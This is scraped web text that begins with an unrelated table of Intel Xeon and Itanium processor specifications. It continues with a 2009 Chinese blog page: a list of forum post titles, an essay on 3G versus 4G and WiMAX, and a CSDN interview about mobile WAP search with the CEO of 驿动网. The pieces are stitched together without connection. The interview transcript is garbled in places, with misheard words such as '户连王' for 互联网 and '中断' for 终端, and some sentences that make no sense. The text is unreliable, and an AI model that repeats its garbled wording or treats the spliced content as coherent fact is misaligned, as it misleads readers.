SLAC8 1.86 GHz E5320 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SLABQ 1.86 GHz 5120 2 1066 MHz 65 nm B2 4 MB LGA771 N/A
SLBAU 1.86 GHz E5205 2 1066 MHz 45 nm E0 6 MB LGA771 N/A
SL9MV 1.86 GHz E5320 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SL9VT 1.86 GHz 3040 2 1066 MHz 65 nm L2 2 MB LGA775 N/A
SL9XA 1.86 GHz 5128 2 1066 MHz 65 nm B2 4 MB LGA771 N/A
SLA4Q 1.86 GHz L5320 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SL9TW 1.86 GHz 3040 2 1066 MHz 65 nm B2 2 MB LGA775 N/A
SL9RY 1.86 GHz 5120 2 1066 MHz 65 nm B2 4 MB LGA771 N/A
SLA6B 1.86 GHz L7345 4 1066 MHz 65 nm G0 8 MB Micro-FCPGA N/A
SLAEP 1.86 GHz L5320 4 1066 MHz 65 nm G0 8 MB LGA771 N/A
SLAEL 1.86 GHz E5320 4 1066 MHz 65 nm G0 8 MB LGA771 N/A
SLAG6 1.86 GHz 5128 2 1066 MHz 65 nm G0 4 MB LGA771 N/A
SLABR 1.60 GHz 5110 2 1066 MHz 65 nm B2 4 MB LGA771 N/A
SL9XR 1.60 GHz E5310 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SLAEM 1.60 GHz E5310 4 1066 MHz 65 nm G0 8 MB LGA771 N/A
SLA6A 1.60 GHz E7310 4 1066 MHz 65 nm G0 4 MB Micro-FCPGA N/A
SLACA 1.60 GHz L5310 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SL9MT 1.60 GHz L5310 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SLACB 1.60 GHz E5310 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SL9RZ 1.60 GHz 5110 2 1066 MHz 65 nm B2 4 MB LGA771 N/A
SLAGE 1.60 GHz 5110 2 1066 MHz 65 nm G0 4 MB LGA771 N/A
SLAEQ 1.60 GHz L5310 4 1066 MHz 65 nm G0 8 MB LGA771 N/A
Intel® Itanium® Processors
SL9DH 1.60 GHz 9030 2 533 MHz 90 nm C1 8 MB FC-PGA4 N/A
SL9DJ 1.60 GHz 9010 1 533 MHz 90 nm C1 6 MB FC-PGA4 N/A
SL9P7 1.60 GHz 9052 2 533 MHz 90 nm C2 24 MB FC-PGA4 N/A
SL98T 1.60 GHz 9052 2 533 MHz 90 nm C1 24 MB FC-PGA4 N/A
SL9DF 1.60 GHz 9050 2 533 MHz 90 nm C1 24 MB FC-PGA4 N/A
SL9DG 1.60 GHz 9040 2 533 MHz 90 nm C1 18 MB FC-PGA4 N/A
SL9PA 1.60 GHz 9010 2 533 MHz 90 nm C2 6 MB FC-PGA4 N/A
SL9PG 1.60 GHz 9050 2 533 MHz 90 nm C2 24 MB FC-PGA4 N/A
SL9P8 1.60 GHz 9040 2 533 MHz 90 nm C2 18 MB FC-PGA4 N/A
SL9P9 1.60 GHz 9030 2 533 MHz 90 nm C2 8 MB FC-PGA4 N/A
SL9DE 1.42 GHz 9020 2 533 MHz 90 nm C1 12 MB FC-PGA4 N/A
SL9PB 1.42 GHz 9020 2 533 MHz 65 nm C2 12 MB FC-PGA4 N/A
SL9PC 1.40 GHz 9015 2 400 MHz 90 nm C2 12 MB FC-PGA4 N/A
SL9BW 1.40 GHz 9015 2 400 MHz 90 nm C1 12 MB FC-PGA4 N/A
阿里妈妈的 一些帖子的集合
2009年11月13日,星期五收集了下自认还有用的帖子
| 1. 建站必备:网站和网站地图提交给搜索引擎,让网站更快更全的被收录 | 网站建设交流 | 速度资讯 2007-9-28 |
|---|
| 2.@小朱说空间@:网站解决电信网通互访速度慢的几种解决方案 1 2 3 | 网站建设交流 | 速度资讯 2007-11-25 |
|---|
3.
[separator] |
| 4.. | 彻夜赶稿给妈妈提信用保证方面的建议 | 速度资讯 2007-9-28 |
|---|
| 6.. 百度更新时间完全公布,大小更新时间一览 | 赚钱交流 | 速度资讯 2007-12-5 |
|---|
| 7.. 你是笨蛋吗?你现在清醒吗?以下有4道题目,在看完题目后立即作答,不准慢慢想!看下 | 赚钱交流 | 速度资讯 2008-3-12 |
|---|
| 8.. | [分享][下载]最近看了孙燕君 <阿里巴巴神话>挺有感触. | 赚钱交流 | 速度资讯 2008-3-12 |
|---|
9.. 《美羽有约》第五期,采访速度资讯关于空间选购,常见空间网站问题! 2007-11-11
| 10. | 阿里妈妈是某人口中那样吗?! 回应论坛里的唏嘘声音和稀嘘的人,还有那些喊着走的. | 赚钱交流 | 速度资讯 2007-11-15 |
|---|
| 11. 信息产业部联合各部委色情图片鉴别说明 |
|---|
13. 如何增加PR值,如何提高PR值
是爱人,还是敌人, 3G与4G必然狭路相逢?
2009年11月13日,星期五是爱人,还是敌人
3G曾在全世界引发执照的拍卖风,对于各国的国库贡献颇大,但大投资却未必换来大收益。3G在执照与建置上的成本,让3G营运商举步艰难,世界各地虽不乏在3G丰收的公司,但更多的是亏损度日,苦于摸索营运对策。 [separator]
对于在3G投资甚大的营运商来说,面对4G的可能崛起,应该会更审慎看待4G,是否拥抱4G,是一个两难的抉择。毕竟3G庞大的投资背后,代表的是巨大的期望收益,在尚未回本的情况下,又出来一个搅局的,岂不如芒刺在背?
4G虽然还没有标准,但以WiMAX联盟为主导的无线宽带方向,已被视为最有可能的4G选项。3G的上网速率是384Kbps,若是由4G来弥补频宽的不足,的确是可以考虑的解决方案,若是3G能在传输速率上有所加强,则又是另当别论。
是互补,还是替代
狼对羊说:“我要帮你!”你相信吗?如果是一只狼崽的话,羊可以姑妄听之,若是一只成狼,羊就得小心了!
对于偏远的地区,挖地埋线或是架设基站,是一项耗资巨大的工程,不如使用低成本的无线接入来得方便,据称WiMAX基站的建站成本,将是3G基站的十分之一,即使无法达到此数,仅降二分之一都会节省庞大的投资成本。若以此角度来说,4G可以是3G的互补,毕竟3G的基站所费不眦。
若是4G无法克服高速移动中的连结问题,3G或可做为4G的互补,形成无间隙的无线移动网络,若是4G也能成功在高速移动中应用,则3G与4G就只能是竞争。
终结最后一哩路的垄断
以往受制于固话线路,任何通讯转接进入房屋内,必须向既有的固网业者留下“过路费”,如果有朝一日,让手机与室内话机,都是采用无线传输,也都使用市话费率,打破既有固网的限制,让无线成为主干道,对于新的通讯服务商而言,将能公平的进入最后一哩的市场。
目前虽没有成熟的4G营运模式,但随着应用的推广与普及,辅以政府的支持,市场自然会找到规律。当4G的运营模式确立之后,也就预视着无线宽带环境的到来,由于低廉的4G建设成本,必将使4G通讯消费的大幅下降。
服务内容才是关键
固网业者曾大力推动ADSL宽带上网,以创造新的营收,但当用户透过ADSL使用VoIP网络电话后,却使固网业者的固话营收大幅下降。无线宽带也会造成同样的结果,以后也许手机都是包月收费,至于数据内容是语音还是影像,就非营运商所能限制了。
也许会有人想要限制这样的发展,但是以网络发展的经验,这是一条行不通的路,除非要自外于全球发展趋势,否则自由开放的网络环境,终将成为事实。网络数字的应用,已是国力的表征,世界各国都努力发展成熟的使用环境与应用模式,以提高国家的竞争力,这已是国家发展的必然选择。
科技带来行业的变迁,古今中外皆然。通讯在未来的世界中,将会扮演愈来愈重要的角色。移动的数字设备,将是绝大多数人的必要配备,至于它应归类于手机、PDA,或是PC,则已无关紧要。
不管是3G或是4G,第一步当然是抢得消费者青睐,但2G的思维已不适用,必须在既有服务外,创造更有价值的服务,不管是购物、金融、学习,或是媒体,善用“有号斯有财”的基础,提高至“有值斯有财”。
无线宽带的必然
3G若是能提供自由的无限宽带,必将会影响4G的进程,3G在既有的基础上,未必是输家,但这不仅须要技术上的突破,更重要的是,经营思维必须做大幅的改变。
犹记得当年以MODEM拨号上网时,仅以14.4Kbps速率上网,都足令人享受无远弗届的上网乐趣,若是以10Mbps以上的速度,岂不是更令人兴奋?带宽不应该成为无线通讯的障碍!对于消费者而言,开放、自由、实惠的无线移动宽带,才是最好的选择,至于它应该是3G或4G,也就无足轻重。
知识的传递,早已跨越地域的界线,任何人都可以成为世界的主角。数字化也许会造成鸿沟,但也可以跨越鸿沟,科技本无罪,罪在运用科技的人。不论是个人乃至于国家,高速自由的通讯环境,符合人性的需要,也符合国家竞争力需求
WAP搜索新机遇 3g时代
2009年11月13日,星期五[swf=400,300]http://live.csdn.net/vcastr21.swf[/swf]
闫辉:好,非常欢迎大家来收看我们新一期的CSDN视频节目,
我们节目从一开始到现在已经有10多期了,我们也请了很多非常有名的业内人士跟我们进行交流,今天我们也非常有幸的请到了一个很早的朋友了,他现在也是驿动网的CEO,叶忻,叶忻先生以前做过搜狐的CTO,做过中关村科技的CTO,咱们好象就是在中关村做软件的时候认识的,那个时候感觉您更偏向软件,现在是不是涉及互联网更加深了? [separator]
叶忻:对,我第一次做这个互联网的时候就是在搜狐做的,所以当时做起来还觉得挺有意思的,现在给我的感觉还是发展的挺快的,提供互联网,这是很好的,当然我对软件外包也是比较熟悉的,这就是中国的发展趋势。
闫辉:叶先生以前在美国发展的阶段,我看这个资料,说您在Tibco和Marimba那两家公司,感觉怎么样?
叶忻:Tibco因为它是一个非常讲究创新的公司,这个公司因为它做的很多东西都是非常创新的,就很多人都知道,Marimba其实是在即网点公司之后的互联网,所以在96年的时候所有人作技术的人都知道Marimba,国内也知道PUSH,两个是一起的,所以当时给我们的感觉就是搜狐在市场上做得更强,因为互联网还是没到核心的一个技术。
闫辉:做过掌上灵通的CEO,那么现在自己做CEO,感觉如何?
叶忻:当时做了很多,还觉得挺有意思的,包括前期的搜索都不错,现在我感觉在中国这边发展最快的还是技术核心,电子商务这个是非常高科技的东西。
闫辉:就好象是在往一个方面进行的积累?
叶忻:对,所以我觉得面对CSDN的读者是一个很好的问题,以前做发展事业也好,现在做核心技术也好,确实能给公司能给你带来很多成长的东西,很高兴知道的东西。
闫辉:那现在出来是作驿动网的互联网的服务,那么这个驿动网具体是作哪些方面的工作呢?
叶忻:现在有一个重大的发展,就是中国的移动服务,例如手机就有4亿多上网服务的,还有1亿多开通上网服务的,那么像互联网才有1个亿,我们就感受到以后用手机上网的人会更多,就是免费的话,等于实际上就把互联网搬到手机的网上,那么这样的话,怎样去找到一个服务,怎样去随时随地的找,还有就是搜索内部查询也是一个重要的应用,所以我们现在来做一个手机的研发和应用。
闫辉:像BAI也有搜索的路口那么这个跟你现在做的有什么不同?
叶忻:这个问题非常好,这个是一个通用的问题,guber他们的主要发展方向是把这些服务延伸到手机里,那么从我们的角度上来看光是那样的服务是不够的,手机的服务还有手机的内容是需要新的方案新的基础,能够帮你找到新信息,比如CSDN如果你把它放到手机上去,包括屏幕的大小,从编码格式到压缩都是不一样的,所以在这种情况下,包括信息放到上面去也是不一样的,另外这种信息添加实施性,商务性,你拿着手机可以随时随地,而你拿着电脑呢?关于大小什么的都不太一样,所以我们觉得这方面需要很多新的需求新的解决方式,包括以前的互联网,都知道要考虑,至少我们现在都会这样做。
闫辉:那现在对你们来说就是以手机为核心考虑,不是以前那样已经做出来了,放到那儿在延伸?
叶忻:对。
闫辉:那就是很多格式还有本身那种容量限制都会造成一些问题?
叶忻:对,所以这就是我们现在想解决的问题。
闫辉:那您觉得互联网的技术有没有一些变化?或者说你们在接受的时候是怎样去和客户接触的?有没有相似的地方?
叶忻:有相似的地方也有不相似的地方,那么在有一些算法上也有一些很大的区别。
闫辉:那这个相关解决基础问题的时候你们的技术团队是从哪些包含的?有没有涉及到一个核心了呢?
叶忻:没有,我们的想法还是开放式的,我们的团队主要来自于三个内容,一个是来自以前跟我做手机运用公司的同事,他们对手机比较熟悉,怎么样去做手机服务比较熟悉,还有对技术方面怎样去开发也非常强,第二步就是针对互联网的基础比较多,互联网有一些核心的东西就是说怎么样去大规模的发展服务,这个不管是从市场产品的角度来讲,还是对无线互联网都是非常深的,第三步就是中国的搜索技术,你比如说数据的处理分词分类,包括一些核心的追踪搜索服务,所以我们目前也是有很多需求。
闫辉:因为您做过很多公司,包括上市相信对您来说做这种公司大家也看到这是一个巨大的趋势,那这里面我想问一个问题就是可能结合现在的意思,像最近有一些中国的互联网控制的比较严格,像所有的运用商都必须要收费的,还有就是对运营商越来越大的限制,那对您来说呢?
叶忻:我很吃惊你对这个这么的了解,他们的主要服务是随着增殖业务的服务而服务的,那么这些业务是同运营商相关的,这个我觉得是中国提供了一个非常好的机会,给全世界提供了一个非常好的机会,那么我们下一步就是说中国流程,比如CSDN,他只是在一个现有的服务里服务,他可能在外面给予一个互联网的服务提供给他们,比如我们在做节目你可以放在上面就是我们叫3G的一个东西,所以这样的话可能就不是一个收费品,那么我们就管这样的一个产品叫做免费的产品,那么这方面每个人的需求都是不一样的,不是每个人都需要,而是不断的发展。有些人就非常喜欢照照片,就是有人说喜欢收费的,那就必须去照相馆去照,也有人喜欢免费的,那就自己照了,就是说这个需要一个更多的服务,我们所做的服务就是帮助你找到这个免费的照片。
闫辉:那在中国是不是这个免费的是不是更多了呢?
叶忻:对,是越来越多了,现在大概有4000万左右。
闫辉:因为我以前采访过别的公司,就是像王东新浪,就是我们以前也作引擎,搜索的没有现在变的这么重了。
叶忻:我最早接触互联网是96年年底,96年的11月份我在北京,那个时候都是用拨号上网,从96年底97年到现在这几年我每次回来看到搜狐发展的这么快,觉得手机的业务的发展也是难以现象的。
闫辉:就是说很多时候都是要抓住这个机会。
叶忻:对,这个创业的机动性,有可能你看到别人却没有看到,一旦创业成功以后就会越来越成功。
闫辉:那就是说从中关村到现在您怎么看待这个?您在创业中是怎么样去适应这个变化的?
叶忻:就是我们现在做软件和做手机都是非常核心的但是我们不把这些卖给其他公司,这些品牌的改变,怎么样去由一个空间去创新,那么相对来讲就是企业的软件也是难度非常的大,因为你对它的主梁非常高。
闫辉:那个氛围是不是没有那么好?
叶忻:这个我不知道该怎么说,所以我觉得手机这个市场的空间非常非常大。比如像百度,搜狐,搜狗,现在都是再找世界级的氛围。
闫辉:对,刚才您也提到了就是做户互联网的需求非常的大。
叶忻:对,比如说在亚马逊或者是在雅虎PLAN A PLAN B,然后看这个点击率在折合一下,就是你一个这个键或者这个钮放在下面还是放在上面都是非常重要的,对于我们来说这个空间是比较小的,但是还是说你怎么样来把服务提供给他,这个行业因为突发性还有激素发展,离开这个公司开掌上灵通最多的话就是说有没有好的无线技术人员帮我推荐推荐。
闫辉:刚才您提高互联网的这种基础您觉得哪些方面跟其他的有什么不同?
叶忻:它跟商务软件开发所以从我们来讲最好的资深的技术人员就是从我个人来讲有几个方面,就是对开发比较熟悉,另外对这种运用系统比较熟悉,那么在中国实际上还是很少的,所以就是说这方面的人才是需要一个非常资深的人来。
闫辉:这个WAP应用在国外是怎样的?
叶忻:这个是分两国一个是日本一个是欧美,在美国的话没有在中国发展的快,因为美国更喜欢使用电脑去互联网,一个是交通习惯工作习惯不是习惯是方式,因为我女儿她们每天都是在电脑上看词语啊等等,所以我没有觉得在中国发展的好。
闫辉:噢,您指的是思维枷锁。
叶忻:对。
闫辉:您一去掌上灵通就可以上市啊,那比如说掌上灵通还有三个月就上市了,那就获得了一个非常好的机会啊。
叶忻:没有,不是因为我去了就上市不是这样的,主要我认为是一个机会,机会比较好。
闫辉:这个现在手机上除了WAP之外,还有看好的就是象游戏这一块,你们涉足这一块吗?
叶忻:我们不涉足,因为你要找一个好的手机,游戏就是像麻酱之类的等等,我们要找一个适合你用的。
闫辉:这个现在整个的手机市场这种你们是怎么去确定使用户去做推广怎么去让他们知道的呢?
叶忻:一个是通过平面媒体的广告,第二个是通过电视的广告,第三个是跟运营商通过市场的合作。
闫辉:他们就帮助你们去做个推荐?
叶忻:对,比如我们跟世界杯战略合作,就是移动会跟我们三方进行合作,还有彩信这些。
闫辉:那像我们CSDN这一块就是说也想做用户这一块,就是第一个是网页,用标准的网页去写,就为更好的去转移到手机上面吗?
叶忻:对,对觉得这个手机的内容都是在忙着做手机上百万用户,那么以后就是个性化的发展个性化的服务是很重要的,就是对CSDN的杂志来讲,就是让几百万的用户或者几十万的用户他所需要的非常专业,对他来将就是需求的把握非常的专业。
闫辉:您做的是全网络的服务,像我们也做一些搜索的服务,就是哪些文章有更好的,对与WAP。
叶忻:对,你说的非常对,我忘记是谁讲的了,就是说今天的互联网都已经过渡了,很专业的需求,我觉得这个需求还是比较有垂直性的。
闫辉:就是说这个垂直性的还没有去做?
叶忻:对,你做专业的麦当劳总比小餐馆要专业的多。
闫辉:那像你们现在第一步要做的是什么?
叶忻:我们现在就是要去搜索一些探索一些东西。
闫辉:很多模式包括我们CSDN的阵容也是在摸索着,我们也是自己去尝试做什么事情,另外现在你们认为手机我不知道这个手机用户的中断对你们的影响大不大?就是不同的平台分的就是比较细?
叶忻:目前来讲还没有分的那么细,就是说中断的都是诺基亚,就是说它的系统占大部分,到以后的操作系统,只要是它支持。
闫辉:就是WAP是不是跟运营上相关的,就是从WAP像小令同那样比如GPRS的那种?
叶忻:他是这样的,比如GPRS可以直接反映中断的联想,我不相信你中断的大小不会改变,那样的话,你会翻那个手机,所以我觉得大小还是那样,所以这个我觉得还是一个未知数,所以我们的观点就是说以后移动的那个可能还是户连王,可能证明我们错的,但是一旦证明我们对了就是户连王这个机会是非常好的。
闫辉:就是说手机的限制是不会改变的?因为作为移动的设备你要注意很多重量大小之类的。
叶忻:对,不是说用了这个就不能用那个,就是说你的生活可以比较丰富,用了这个还可以用那个。
闫辉:我有一个朋友说用WAP可以上QQ啊,还可以下载短片,大家可以类似QQ的这种交流。
叶忻:对,我们做了一个掌上乱聊,就是不仅可以跟QQ聊还何以跟MSN聊,等有机会给你展示一下。
闫辉:就是有些人只是看到但是没有用到?
叶忻:对,是这样,就是我用了很久之后我觉得最大的一个问题就是现在的速度还是稍微有点慢,等以后像宽带一样那么它的更新显示就是非常非常快了,那么你在互联网上也是非常方便的。
闫辉:那么这个基于手机的业务就是美国的BLACK公司,但是他把这个运用的复杂了?
叶忻:没有,第一个他很成功的就是说他整个硬件的终端的设计就是旁边有一个滑轮,这个滑轮让你看邮件就是非常的方便,有点像IPOD就是苹果不要很多MP3,那么同样做这种邮件把它的终端做的很好,一个拇指上下滑一下就可以了,非常方便,美国的社会是一个电子邮件的社会,他每天安排的10点到11点,11点到12点安排的非常好,明天上午看一下,中午去接谁,下午怎么样怎么样,这个在中国能不能使用我个人认为市场会小很多,它的邮件设计的他是一个推的概念,PUSH的概念,记事上没有那么难作,非常非常好用,而且现在就是说他有一款730做的跟手机差不多,我很怀疑就是从技术产品这个角度上,还怀疑他这个产品如果在中国会有多么的成功,会有一定的市场,但是中国大部分我觉得多数人对邮件的需求没有那么多,微软的机器是没法比的。BLACKBARY,我现在回到美国反而觉得不太适合。
闫辉:就是这是两种不同的方式?
叶忻:对。
闫辉:好,那么今天非常感谢叶总跟我们谈了很多话题,包括软件包括一些掌上灵通的功能,希望以后我们还可以进行更多的交流。
叶忻:恩,好谢谢。希望以后能够多和CSDN进行其他方面更多的交流。